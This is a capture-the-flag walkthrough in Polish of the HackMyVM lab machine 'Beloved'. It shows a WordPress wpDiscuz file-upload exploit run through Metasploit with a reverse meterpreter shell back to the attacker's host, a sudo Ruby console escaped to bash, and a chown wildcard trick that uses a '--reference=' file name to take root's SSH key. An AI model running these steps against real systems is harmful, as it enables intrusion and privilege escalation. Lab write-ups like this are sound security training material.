Beloved by Cromiphi

Write-up is in Polish language.

00. Metainfo

Nazwa: Beloved
Autor: Cromiphi
Wypuszczony: 2021-06-29
Do ściągnięcia: HackMyVM
Poziom: Łatwy
System: Linux
Nauczysz się: Wordpress, Sztuczki z myślnikami

01. Wstęp

Coraz ciekawsze te wirtualki. :smiley: Wybiorę byle którą z HackMyVm albo z VulNhuba i myślę, że niczym mnie nie zaskoczy, a jednak. Ta maszynka nie ma za dużo zadań, mało ich a dobre. Nauczysz się w niej pewnej podatności plugina Wordpressa oraz na końcu zobaczysz siłę gwiazdek i kresek w Bashu.

02. Skanowanie

Standardowo skanujemy maszynę.

msf6 > db_nmap -T4 -A -p- 172.16.1.200
...
services
msf6 > services
Services
========

host          port  proto  name   state  info
----          ----  -----  ----   -----  ----
172.16.1.200  22    tcp    ssh    open   OpenSSH 7.9p1 Debian 10+deb10u2 protocol 2.0
172.16.1.200  80    tcp    http   open   Apache httpd 2.4.38 (Debian)

Widzimy dwa otwarte porty 22 i 80.

03. Identyfikacja celu

Zacznijmy od portu nr 80

# whatweb 172.16.1.200
http://172.16.1.200 [200 OK] Apache[2.4.38], Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache/2.4.38 (Debian)], IP[172.16.1.200], MetaGenerator[WordPress 5.8.1], PoweredBy[--], Script, Title[Beloved – Just another WordPress site], UncommonHeaders[link], WordPress[5.8.1]

Na serwerze jest Wordpress. Od razu wspomnę, że akurat w tej wirtualce nie ma przed nami ukrytych plików i nie będziemy ich szukać.

04. Wpscan i ten podatny plugin

Zajmiemy się za to najlepszym programem (na obecną chwilę) do skanowania Wordpressa, czyli Wpscanem (oryginalnie Wpscan). Jednak wcześniej proponuję na stronie Wpcana założyć darmowy token, dzięki któremu uzyskamy więcej informacji ze skanowania. Poniższy przykład jest z tokenem, ale bez niego też powinno działać. Chociaż, być może nie wszystkie informacje będą widoczne. Dodam od siebie, że te skanowanie jest dosyć agresywne, może potrwać trochę czasu i nie polecam testować tego na przypadkowych stronach internetowych. Można za to wyłapać bana. Zaczynamy:

# wpscan --url beloved --api-token=MOJTOKEN --plugins-detection aggressive -t 50
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.18
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://beloved/ [172.16.1.200]
[+] Started: Wed Sep 29 21:14:48 2021

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.38 (Debian)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] robots.txt found: http://beloved/robots.txt
 | Interesting Entries:
 |  - /wp-admin/
 |  - /wp-admin/admin-ajax.php
 | Found By: Robots Txt (Aggressive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://beloved/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://beloved/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: http://beloved/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://beloved/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 5.8.1 identified (Latest, released on 2021-09-09).
 | Found By: Rss Generator (Passive Detection)
 |  - http://beloved/feed/, <generator>https://wordpress.org/?v=5.8.1</generator>
 |  - http://beloved/comments/feed/, <generator>https://wordpress.org/?v=5.8.1</generator>

[+] WordPress theme in use: twentytwentyone
 | Location: http://beloved/wp-content/themes/twentytwentyone/
 | Last Updated: 2021-07-22T00:00:00.000Z
 | Readme: http://beloved/wp-content/themes/twentytwentyone/readme.txt
 | [!] The version is out of date, the latest version is 1.4
 | Style URL: http://beloved/wp-content/themes/twentytwentyone/style.css?ver=1.3
 | Style Name: Twenty Twenty-One
 | Style URI: https://wordpress.org/themes/twentytwentyone/
 | Description: Twenty Twenty-One is a blank canvas for your ideas and it makes the block editor your best brush. Wi...
 | Author: the WordPress team
 | Author URI: https://wordpress.org/
 |
 | Found By: Css Style In Homepage (Passive Detection)
 | Confirmed By: Css Style In 404 Page (Passive Detection)
 |
 | Version: 1.3 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://beloved/wp-content/themes/twentytwentyone/style.css?ver=1.3, Match: 'Version: 1.3'

[+] Enumerating All Plugins (via Aggressive Methods)
 Checking Known Locations - Time: 00:32:22 <=====================================================================================================================> (95192 / 95192) 100.00% Time: 00:32:22
[+] Checking Plugin Versions (via Passive and Aggressive Methods)

[i] Plugin(s) Identified:

[+] akismet
 | Location: http://beloved/wp-content/plugins/akismet/
 | Latest Version: 4.1.12
 | Last Updated: 2021-09-03T16:53:00.000Z
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - http://beloved/wp-content/plugins/akismet/, status: 403
 |
 | [!] 1 vulnerability identified:
 |
 | [!] Title: Akismet 2.5.0-3.1.4 - Unauthenticated Stored Cross-Site Scripting (XSS)
 |     Fixed in: 3.1.5
 |     References:
 |      - https://wpscan.com/vulnerability/1a2f3094-5970-4251-9ed0-ec595a0cd26c
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-9357
 |      - http://blog.akismet.com/2015/10/13/akismet-3-1-5-wordpress/
 |      - https://blog.sucuri.net/2015/10/security-advisory-stored-xss-in-akismet-wordpress-plugin.html
 |
 | The version could not be determined.

[+] feed
 | Location: http://beloved/wp-content/plugins/feed/
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - http://beloved/wp-content/plugins/feed/, status: 200
 |
 | The version could not be determined.

[+] wpdiscuz
 | Location: http://beloved/wp-content/plugins/wpdiscuz/
 | Last Updated: 2021-09-26T15:10:00.000Z
 | Readme: http://beloved/wp-content/plugins/wpdiscuz/readme.txt
 | [!] The version is out of date, the latest version is 7.3.3
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - http://beloved/wp-content/plugins/wpdiscuz/, status: 200
 |
 | [!] 2 vulnerabilities identified:
 |
 | [!] Title: Comments - wpDiscuz 7.0.0 - 7.0.4 - Unauthenticated Arbitrary File Upload
 |     Fixed in: 7.0.5
 |     References:
 |      - https://wpscan.com/vulnerability/92ae2765-dac8-49dc-a361-99c799573e61
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-24186
 |      - https://www.wordfence.com/blog/2020/07/critical-arbitrary-file-upload-vulnerability-patched-in-wpdiscuz-plugin/
 |      - https://plugins.trac.wordpress.org/changeset/2345429/wpdiscuz
 |
 | [!] Title: Comments - wpDiscuz < 7.3.2 - Admin+ Stored Cross-Site Scripting
 |     Fixed in: 7.3.2
 |     References:
 |      - https://wpscan.com/vulnerability/f51a350c-c46d-4d52-b787-762283625d0b
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24737
 |
 | Version: 7.0.4 (80% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://beloved/wp-content/plugins/wpdiscuz/readme.txt

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
 Checking Config Backups - Time: 00:00:02 <==========================================================================================================================> (137 / 137) 100.00% Time: 00:00:02

[i] No Config Backups Found.

[+] WPScan DB API OK
 | Plan: free
 | Requests Done (during the scan): 3
 | Requests Remaining: 18

[+] Finished: Wed Sep 29 21:47:47 2021
[+] Requests Done: 95383
[+] Cached Requests: 17
[+] Data Sent: 24.221 MB
[+] Data Received: 26.402 MB
[+] Memory used: 455.578 MB
[+] Elapsed time: 00:32:59

Wszystko to trwało ponad pół godziny. Wpscan znalazł trochę przestarzałych i podatnych na włamania pluginów. Jednak to co nas interesuje to plugin wpDiscuz. Jego wersja, przy pewnych okolicznościach umożliwia wysyłanie na serwer dowolnego pliku. Sprawdźmy, czy ta podatność jest znana Metasploitowi:

05. Metasploit i jego cudowne moduły

msf6 > search wpdiscuz

Matching Modules
================

   #  Name                                                         Disclosure Date  Rank       Check  Description
   -  ----                                                         ---------------  ----       -----  -----------
   0  exploit/unix/webapp/wp_wpdiscuz_unauthenticated_file_upload  2020-02-21       excellent  Yes    WordPress wpDiscuz
 Unauthenticated File Upload Vulnerability


Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/webapp/wp_wpdiscuz_unauthenticated_file_upload

Jak widać jest moduł. Zobaczmy czy zadziała.

msf6 > resource wordpress.rc
[*] Processing /home/szikers/beloved/wordpress.rc for ERB directives.
resource (/home/szikers/beloved/wordpress.rc)> use exploit/unix/webapp/wp_wpdiscuz_unauthenticated_file_upload
[*] Using configured payload php/meterpreter/reverse_tcp
resource (/home/szikers/beloved/wordpress.rc)> set BLOGPATH /2021/06/09/hello-world/
BLOGPATH => /2021/06/09/hello-world/
resource (/home/szikers/beloved/wordpress.rc)> set rhosts 172.16.1.200
rhosts => 172.16.1.200
resource (/home/szikers/beloved/wordpress.rc)> set lhost eth0
lhost => eth0
resource (/home/szikers/beloved/wordpress.rc)> run -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 172.16.1.10:4444
msf6 exploit(unix/webapp/wp_wpdiscuz_unauthenticated_file_upload) > [*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[+] Payload uploaded as PTxqXtkbtae.php
[*] Calling payload...
[*] Sending stage (39282 bytes) to 172.16.1.200
[*] Meterpreter session 1 opened (172.16.1.10:4444 -> 172.16.1.200:34786) at 2021-10-01 13:41:16 +0200

06. Shell i co dalej?

Wszysto działa, jesteśmy na konsoli, ale co dalej? Z wcześniejszego rozeznania widać, że jesteśmy na koncie www-data, ale w systemie prawdopodobnie są konta z dostępem do Shella. Sprawdźmy to:

# www-data@beloved:/var/www/html/wordpress$ sudo -l
Matching Defaults entries for www-data on beloved:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on beloved:
    (beloved) NOPASSWD: /usr/local/bin/nokogiri

Użytkownik beloved ma dostęp do pliku /usr/local/bin/nokogiri. Od razu powiem, że program jest napisany w Ruby.

# sudo -u beloved /usr/local/bin/nokogiri /etc/hosts
Your document is stored in @doc...
irb(main):001:0> system "/bin/bash"
system "/bin/bash"

07. Root

Chcemy więcej, chcemy roota. Ściągnałem program pspy64, który nam powie, czy coś ciekawego się dzieje w systemie. Po chwili czekania dostaliśmy coś takiego:

2021/10/01 14:09:01 CMD: UID=0    PID=31417  | /bin/sh -e /usr/lib/php/sessionclean
2021/10/01 14:09:01 CMD: UID=0    PID=31418  | /bin/sh -e /usr/lib/php/sessionclean
2021/10/01 14:10:01 CMD: UID=0    PID=31422  | /usr/sbin/CRON -f
2021/10/01 14:10:01 CMD: UID=0    PID=31421  | /usr/sbin/CRON -f
2021/10/01 14:10:01 CMD: UID=0    PID=31423  | /bin/sh -c cd /opt && chown root:root *

Wchodzimy do /opt

# cd /opt
drwxrwx---  2 root    beloved 4096 Sep 30 11:31  .
drwxr-xr-x 18 root    root    4096 May 19 10:09  ..
-rw-------  1 root    root    1823 Jun 27 16:41  id_rsa

Widzimy plik id_rsa, którego właścicielem jest root. Ze wcześniejszych informacji, dzięki programowi Psy64 się dowiadujemy, że co jakiś czas plikowi jest nadawany ten sam właściciel root. Warto zwrócić uwagę na “*” za rootem. I to wykorzystamy. Jak ta podatność działa to jest opisane dokładnie tutaj. W skrócie napiszę, że zostanie wykorzystany parametr –reference z programu chown. Parametr ten “kopiuje” status właściciela stworzonego pliku do innego pliku. Aby to zadziałało w naszym przypadku należy w katalogu /opt stworzyć np. 2 pliki ”–reference=referencja” i w tym wypadku drugi plik to referencja. Nazwałem go tak, żeby to wszystko trochę odróżnić. Jednak może mieć dowolną nazwę. Pamiętać jednak trzeba, żeby też było do niego odpowiednie odwołanie w pliku –reference. Całą operację radzę zrobić chwilę po pełnej minucie, nie przed nią. Ważne żeby plik referencja nie dostał od razu właściciela roota, a był nim beloved. Trochę to zawiłe, więc napiszę jak to wszystko wygląda.

# touch referencja
# touch -- --reference=referencja

Po chwili właścicielem klucza id_rsa jest beloved:

-rw-r--r--  1 beloved beloved    0 Sep 30 11:31 '--reference=referencja'
drwxrwx---  2 root    beloved 4096 Sep 30 11:31  .
drwxr-xr-x 18 root    root    4096 May 19 10:09  ..
-rw-------  1 beloved beloved 1823 Jun 27 16:41  id_rsa
-rw-r--r--  1 beloved beloved    0 Sep 30 11:31  referencja

Kopiujemy ten klucz na nasz serwer, logujemy się i mamy roota:

# root@kali:/home/szikers/beloved# ssh -i id_rsa root@beloved
Linux beloved 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Sep 30 11:39:03 2021 from 172.16.1.10
root@beloved:~# id
uid=0(root) gid=0(root) groups=0(root)

08. Jest coś jeszcze?

Tak, możemy zobaczyć co jest na tym Wordpressie. Dodam tylko, że hasła są widoczne w plikach, a w bazie danych po prostu wklejamy nasze hasło, które sobie stworzymy. Ale to już zostawiam czytelnikowi.

09. Koniec

Artykuł był inspirowany z bloga. Oczywiście przejście jest inne.

Zostaw komentarz